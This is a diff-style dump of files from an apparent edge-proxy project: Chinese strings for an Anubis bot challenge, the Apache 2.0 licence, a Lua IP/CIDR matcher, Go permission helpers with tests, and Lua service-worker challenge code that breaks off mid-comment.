"redirect_domain_not_allowed": "重定向的域名并不允许",
|
||||
"failed_to_sign_jwt": "签署 JWT 失败",
|
||||
"invalid_invocation": "无效的 MakeChallenge 调用",
|
||||
"client_error_browser": "客户端错误:请确保您的浏览器是最新版本并稍候再试。",
|
||||
"oh_noes": "哎呀糟糕了!",
|
||||
"benchmarking_anubis": "正在进行 Anubis 性能测试!",
|
||||
"you_are_not_a_bot": "你不是机器人!",
|
||||
"making_sure_not_bot": "正在确认你是不是机器人!",
|
||||
"celphase": "CELPHASE 设计",
|
||||
"js_web_crypto_error": "您的浏览器无法正常使用 web.crypto 组件。您是否通过安全连接(HTTPS)查看此网站?",
|
||||
"js_web_workers_error": "您的浏览器并不支持 Web workers (Anubis 使用这个来避免冻结您的浏览器 )您有安装像是 JShelter 之类的插件吗?",
|
||||
"js_cookies_error": "您的浏览器无法存储 Cookie。 Anubis 会使用 Cookie 存储签署的凭证,以判断用户是否已通过验证。请为此域名启用 Cookie 存储功能。 请注意,Anubis 存储的 Cookie 名称可能会变动,且其名称与内容不属于公开 API 的一部分。",
|
||||
"js_context_not_secure": "您的内容并不安全",
|
||||
"js_context_not_secure_msg": "请尝试使用 HTTPS 连接,或联系网站管理员设置 HTTPS。更多信息请参见 <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>。",
|
||||
"js_calculating": "计算中...",
|
||||
"js_missing_feature": "缺少功能",
|
||||
"js_challenge_error": "挑战错误!",
|
||||
"js_challenge_error_msg": "解决检查算法失败。 您可能会想要刷新页面。",
|
||||
"js_calculating_difficulty": "计算中...<br/>难度:",
|
||||
"js_speed": "速度:",
|
||||
"js_verification_longer": "验证所花的时间高于预期。 请不要刷新页面。",
|
||||
"js_success": "成功!",
|
||||
"js_done_took": "完成! 花费",
|
||||
"js_iterations": "迭代",
|
||||
"js_finished_reading": "我读完了,继续 →",
|
||||
"js_calculation_error": "计算错误!",
|
||||
"js_calculation_error_msg": "计算挑战失败:",
|
||||
"missing_required_forwarded_headers": "缺少必要的 X-Forwarded-* 头",
|
||||
"simplified_explanation": "这是一种类似于验证码的措施,用于防止机器人和恶意请求。但是,您无需自己动手,您的浏览器会收到一个计算任务,必须解决该任务以确保它是有效的客户端。这个概念称为<a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">工作量证明</a>。该任务在几秒钟内计算完毕,您将被授予访问网站的权限。感谢您的理解和耐心。"
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,387 @@
|
||||
local base = require("resty.core.base")
|
||||
local bit = require("bit")
|
||||
local clear_tab = require("table.clear")
|
||||
local new_tab = base.new_tab
|
||||
local find_str = string.find
|
||||
local tonumber = tonumber
|
||||
local ipairs = ipairs
|
||||
local pairs = pairs
|
||||
local ffi = require "ffi"
|
||||
local ffi_cdef = ffi.cdef
|
||||
local ffi_copy = ffi.copy
|
||||
local ffi_new = ffi.new
|
||||
local C = ffi.C
|
||||
local insert_tab = table.insert
|
||||
local string = string
|
||||
local setmetatable=setmetatable
|
||||
local type = type
|
||||
local error = error
|
||||
local str_sub = string.sub
|
||||
local str_byte = string.byte
|
||||
local cur_level = ngx.config.subsystem == "http" and
|
||||
require "ngx.errlog" .get_sys_filter_level()
|
||||
|
||||
local AF_INET = 2
|
||||
local AF_INET6 = 10
|
||||
if ffi.os == "OSX" then
|
||||
AF_INET6 = 30
|
||||
end
|
||||
|
||||
|
||||
local _M = {_VERSION = 0.3}
|
||||
|
||||
|
||||
ffi_cdef[[
|
||||
int inet_pton(int af, const char * restrict src, void * restrict dst);
|
||||
uint32_t ntohl(uint32_t netlong);
|
||||
]]
|
||||
|
||||
|
||||
local parse_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_ipv4(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET, ip, inet) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
_M.parse_ipv4 = parse_ipv4
|
||||
|
||||
local parse_bin_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_bin_ipv4(ip)
|
||||
if not ip or #ip ~= 4 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inet, ip, 4)
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
|
||||
local parse_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_ipv6(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if str_byte(ip, 1, 1) == str_byte('[')
|
||||
and str_byte(ip, #ip) == str_byte(']') then
|
||||
|
||||
-- strip square brackets around IPv6 literal if present
|
||||
ip = str_sub(ip, 2, #ip - 1)
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET6, ip, inets) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
_M.parse_ipv6 = parse_ipv6
|
||||
|
||||
local parse_bin_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_bin_ipv6(ip)
|
||||
if not ip or #ip ~= 16 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inets, ip, 16)
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
local mt = {__index = _M}
|
||||
|
||||
|
||||
local ngx_log = ngx.log
|
||||
local ngx_INFO = ngx.INFO
|
||||
local function log_info(...)
|
||||
if cur_level and ngx_INFO > cur_level then
|
||||
return
|
||||
end
|
||||
|
||||
return ngx_log(ngx_INFO, ...)
|
||||
end
|
||||
|
||||
|
||||
local function split_ip(ip_addr_org)
|
||||
local idx = find_str(ip_addr_org, "/", 1, true)
|
||||
if not idx then
|
||||
return ip_addr_org
|
||||
end
|
||||
|
||||
local ip_addr = str_sub(ip_addr_org, 1, idx - 1)
|
||||
local ip_addr_mask = str_sub(ip_addr_org, idx + 1)
|
||||
return ip_addr, tonumber(ip_addr_mask)
|
||||
end
|
||||
_M.split_ip = split_ip
|
||||
|
||||
|
||||
local idxs = {}
|
||||
local function gen_ipv6_idxs(inets_ipv6, mask)
|
||||
clear_tab(idxs)
|
||||
|
||||
for _, inet in ipairs(inets_ipv6) do
|
||||
local valid_mask = mask
|
||||
if valid_mask > 32 then
|
||||
valid_mask = 32
|
||||
end
|
||||
|
||||
if valid_mask == 32 then
|
||||
insert_tab(idxs, inet)
|
||||
else
|
||||
insert_tab(idxs, bit.rshift(inet, 32 - valid_mask))
|
||||
end
|
||||
|
||||
mask = mask - 32
|
||||
if mask <= 0 then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return idxs
|
||||
end
|
||||
|
||||
|
||||
local function new(ips, with_value)
|
||||
if not ips or type(ips) ~= "table" then
|
||||
error("missing valid ip argument", 2)
|
||||
end
|
||||
|
||||
local parsed_ipv4s = {}
|
||||
local parsed_ipv4s_mask = {}
|
||||
local ipv4_match_all_value
|
||||
|
||||
local parsed_ipv6s = {}
|
||||
local parsed_ipv6s_mask = {}
|
||||
local ipv6_values = {}
|
||||
local ipv6s_values_idx = 1
|
||||
local ipv6_match_all_value
|
||||
|
||||
local iter = with_value and pairs or ipairs
|
||||
for a, b in iter(ips) do
|
||||
local ip_addr_org, value
|
||||
if with_value then
|
||||
ip_addr_org = a
|
||||
value = b
|
||||
|
||||
else
|
||||
ip_addr_org = b
|
||||
value = true
|
||||
end
|
||||
|
||||
local ip_addr, ip_addr_mask = split_ip(ip_addr_org)
|
||||
|
||||
local inet_ipv4 = parse_ipv4(ip_addr)
|
||||
if inet_ipv4 then
|
||||
ip_addr_mask = ip_addr_mask or 32
|
||||
if ip_addr_mask == 32 then
|
||||
parsed_ipv4s[inet_ipv4] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv4_match_all_value = value
|
||||
|
||||
else
|
||||
local valid_inet_addr = bit.rshift(inet_ipv4, 32 - ip_addr_mask)
|
||||
|
||||
parsed_ipv4s_mask[ip_addr_mask] = parsed_ipv4s_mask[ip_addr_mask] or {}
|
||||
parsed_ipv4s_mask[ip_addr_mask][valid_inet_addr] = value
|
||||
log_info("ipv4 mask: ", ip_addr_mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
end
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip_addr)
|
||||
if inets_ipv6 then
|
||||
ip_addr_mask = ip_addr_mask or 128
|
||||
if ip_addr_mask == 128 then
|
||||
parsed_ipv6s[ip_addr] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv6_match_all_value = value
|
||||
end
|
||||
|
||||
parsed_ipv6s[ip_addr_mask] = parsed_ipv6s[ip_addr_mask] or {}
|
||||
|
||||
local inets_idxs = gen_ipv6_idxs(inets_ipv6, ip_addr_mask)
|
||||
local node = parsed_ipv6s[ip_addr_mask]
|
||||
for i, inet in ipairs(inets_idxs) do
|
||||
if i == #inets_idxs then
|
||||
if with_value then
|
||||
ipv6_values[ipv6s_values_idx] = value
|
||||
node[inet] = ipv6s_values_idx
|
||||
ipv6s_values_idx = ipv6s_values_idx + 1
|
||||
else
|
||||
node[inet] = true
|
||||
end
|
||||
end
|
||||
node[inet] = node[inet] or {}
|
||||
node = node[inet]
|
||||
end
|
||||
|
||||
parsed_ipv6s_mask[ip_addr_mask] = true
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
if not inet_ipv4 and not inets_ipv6 then
|
||||
return nil, "invalid ip address: " .. ip_addr
|
||||
end
|
||||
|
||||
::continue::
|
||||
end
|
||||
|
||||
local ipv4_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv4s_mask) do
|
||||
insert_tab(ipv4_mask_arr, k)
|
||||
end
|
||||
|
||||
local ipv6_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv6s_mask) do
|
||||
insert_tab(ipv6_mask_arr, k)
|
||||
end
|
||||
|
||||
return setmetatable({
|
||||
ipv4 = parsed_ipv4s,
|
||||
ipv4_mask = parsed_ipv4s_mask,
|
||||
ipv4_mask_arr = ipv4_mask_arr,
|
||||
ipv4_match_all_value = ipv4_match_all_value,
|
||||
|
||||
ipv6 = parsed_ipv6s,
|
||||
ipv6_mask = parsed_ipv6s_mask,
|
||||
ipv6_mask_arr = ipv6_mask_arr,
|
||||
ipv6_values = ipv6_values,
|
||||
ipv6_match_all_value = ipv6_match_all_value,
|
||||
}, mt)
|
||||
end
|
||||
|
||||
function _M.new(ips)
|
||||
return new(ips, false)
|
||||
end
|
||||
|
||||
function _M.new_with_value(ips)
|
||||
return new(ips, true)
|
||||
end
|
||||
|
||||
|
||||
local function match_ipv4(self, ip)
|
||||
local ipv4s = self.ipv4
|
||||
local value = ipv4s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
local ipv4_mask = self.ipv4_mask
|
||||
if self.ipv4_match_all_value ~= nil then
|
||||
return self.ipv4_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv4_mask_arr) do
|
||||
local valid_inet_addr = bit.rshift(ip, 32 - mask)
|
||||
|
||||
log_info("ipv4 mask: ", mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
|
||||
value = ipv4_mask[mask][valid_inet_addr]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_ipv6(self, ip)
|
||||
local ipv6s = self.ipv6
|
||||
if self.ipv6_match_all_value ~= nil then
|
||||
return self.ipv6_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv6_mask_arr) do
|
||||
local node = ipv6s[mask]
|
||||
local inet_idxs = gen_ipv6_idxs(ip, mask)
|
||||
for _, inet in ipairs(inet_idxs) do
|
||||
if not node[inet] then
|
||||
break
|
||||
else
|
||||
node = node[inet]
|
||||
if node == true then
|
||||
return true
|
||||
end
|
||||
if type(node) == "number" then
|
||||
-- fetch with the ipv6s_values_idx
|
||||
return self.ipv6_values[node]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
function _M.match(self, ip)
|
||||
local inet_ipv4 = parse_ipv4(ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
local ipv6s = self.ipv6
|
||||
local value = ipv6s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
function _M.match_bin(self, bin_ip)
|
||||
local inet_ipv4 = parse_bin_ipv4(bin_ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_bin_ipv6(bin_ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,32 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/agent/runtimeuser"
|
||||
)
|
||||
|
||||
// OpenFlareRuntimeUser is the shared OS account for the agent process and
|
||||
// OpenResty worker processes.
|
||||
const OpenFlareRuntimeUser = runtimeuser.Name
|
||||
|
||||
// OpenRestyWorkerUser is an alias kept for internal call sites.
|
||||
const OpenRestyWorkerUser = runtimeuser.Name
|
||||
|
||||
// EnsureWorldTraversablePath makes targetDir and its ancestors world-traversable.
|
||||
func EnsureWorldTraversablePath(targetDir string) error {
|
||||
return runtimeuser.EnsurePathOwnership(targetDir, nginxDirPerm, nginxConfigFilePerm)
|
||||
}
|
||||
|
||||
// EnsureWorkerReadableTree normalizes ownership and modes under root for the
|
||||
// shared runtime user.
|
||||
func EnsureWorkerReadableTree(rootDir string) error {
|
||||
return runtimeuser.EnsurePathOwnership(rootDir, nginxDirPerm, nginxConfigFilePerm)
|
||||
}
|
||||
|
||||
// EnsureWorkerReadAccess makes agent-managed runtime paths accessible to the
|
||||
// shared runtime user.
|
||||
func (m *Manager) EnsureWorkerReadAccess() error {
|
||||
return m.ensureOpenRestyWorkerReadAccess()
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureWorkerReadableTreeFixesRestrictedPagesFiles(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
pagesDir := filepath.Join(tempDir, "data", "var", "lib", "openflare", "pages")
|
||||
releaseDir := filepath.Join(pagesDir, "deployments", "1", "releases", "abc123")
|
||||
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
|
||||
t.Fatalf("MkdirAll failed: %v", err)
|
||||
}
|
||||
indexPath := filepath.Join(releaseDir, "index.html")
|
||||
if err := os.WriteFile(indexPath, []byte("<html></html>"), 0o600); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
if err := EnsureWorldTraversablePath(pagesDir); err != nil {
|
||||
t.Fatalf("EnsureWorldTraversablePath failed: %v", err)
|
||||
}
|
||||
if err := EnsureWorkerReadableTree(pagesDir); err != nil {
|
||||
t.Fatalf("EnsureWorkerReadableTree failed: %v", err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(indexPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Stat failed: %v", err)
|
||||
}
|
||||
if info.Mode().Perm() != nginxConfigFilePerm {
|
||||
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, info.Mode().Perm())
|
||||
}
|
||||
etcInfo, err := os.Stat(filepath.Join(tempDir, "data", "var"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat var failed: %v", err)
|
||||
}
|
||||
if etcInfo.Mode().Perm()&0o005 == 0 {
|
||||
t.Fatalf("expected var directory to be world-traversable, got %o", etcInfo.Mode().Perm())
|
||||
}
|
||||
}
|
||||
|
||||
func TestManagerEnsureWorkerReadAccessIncludesPagesDir(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
dataDir := filepath.Join(tempDir, "data")
|
||||
pagesRoot := filepath.Join(dataDir, "var", "lib", "openflare", "pages")
|
||||
releaseDir := filepath.Join(pagesRoot, "deployments", "1", "releases", "abc123")
|
||||
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
|
||||
t.Fatalf("MkdirAll failed: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("ok"), 0o600); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
manager := &Manager{PagesDir: pagesRoot}
|
||||
if err := manager.EnsureWorkerReadAccess(); err != nil {
|
||||
t.Fatalf("EnsureWorkerReadAccess failed: %v", err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(filepath.Join(tempDir, "data"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat data failed: %v", err)
|
||||
}
|
||||
if info.Mode().Perm()&0o005 == 0 {
|
||||
t.Fatalf("expected data directory to be world-traversable, got %o", info.Mode().Perm())
|
||||
}
|
||||
indexInfo, err := os.Stat(filepath.Join(releaseDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat index failed: %v", err)
|
||||
}
|
||||
if indexInfo.Mode().Perm() != nginxConfigFilePerm {
|
||||
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, indexInfo.Mode().Perm())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
const openRestySWRuntimeLua = `local _M = {}
|
||||
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/sw/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local function is_real_browser(ua)
|
||||
if not ua or ua == "" then return false end
|
||||
-- Chrome/Edge/CentOS-style: "Chrome/120" (pattern mode: %d = digit)
|
||||
if string.find(ua, "Chrome/%d", 1) then return true end
|
||||
-- Firefox: "Firefox/120"
|
||||
if string.find(ua, "Firefox/%d", 1) then return true end
|
||||
-- Safari (non-Chrome, e.g. "Version/17.0 Safari")
|
||||
if not string.find(ua, "Chrome", 1, true) and string.find(ua, "Safari", 1, true) then return true end
|
||||
return false
|
||||
end
|
||||
|
||||
local function pass_through()
|
||||
return true
|
||||
end
|
||||
|
||||
function _M.check()
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
if not is_real_browser(ua) then return pass_through() end
|
||||
|
||||
local uri = ngx.var.uri or ""
|
||||
if uri ~= "/" then return pass_through() end
|
||||
|
||||
if ngx.req.get_method and ngx.req.get_method() ~= "GET" then return pass_through() end
|
||||
|
||||
local cookie = ngx.var["cookie___openflare_sw"]
|
||||
if cookie and cookie ~= "" then return pass_through() end
|
||||
|
||||
-- intercept: internal redirect to challenge page, which registers SW + sets cookie
|
||||
local redir = ngx.var.scheme .. "://" .. ngx.var.host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or "")
|
||||
ngx.req.set_uri_args({ redir = redir })
|
||||
return ngx.exec("/__openflare_sw_challenge")
|
||||
end
|
||||
|
||||
return _M
|
||||
`
|
||||
|
||||
const openRestySWChallengeLua = `local args = ngx.req.get_uri_args()
|
||||
local redir = args["redir"] or "/"
|
||||
|
||||
-- Escape redir for embedding inside a JS string literal within an HTML
|
||||
-- <script> element. Backslashes first so later escapes stay escaped, then
|
||||
-- double quotes (string-literal break-out), then "<" (prevents a raw
|
||||
-- "</script" sequence ending the element, which the HTML parser matches
|
||||
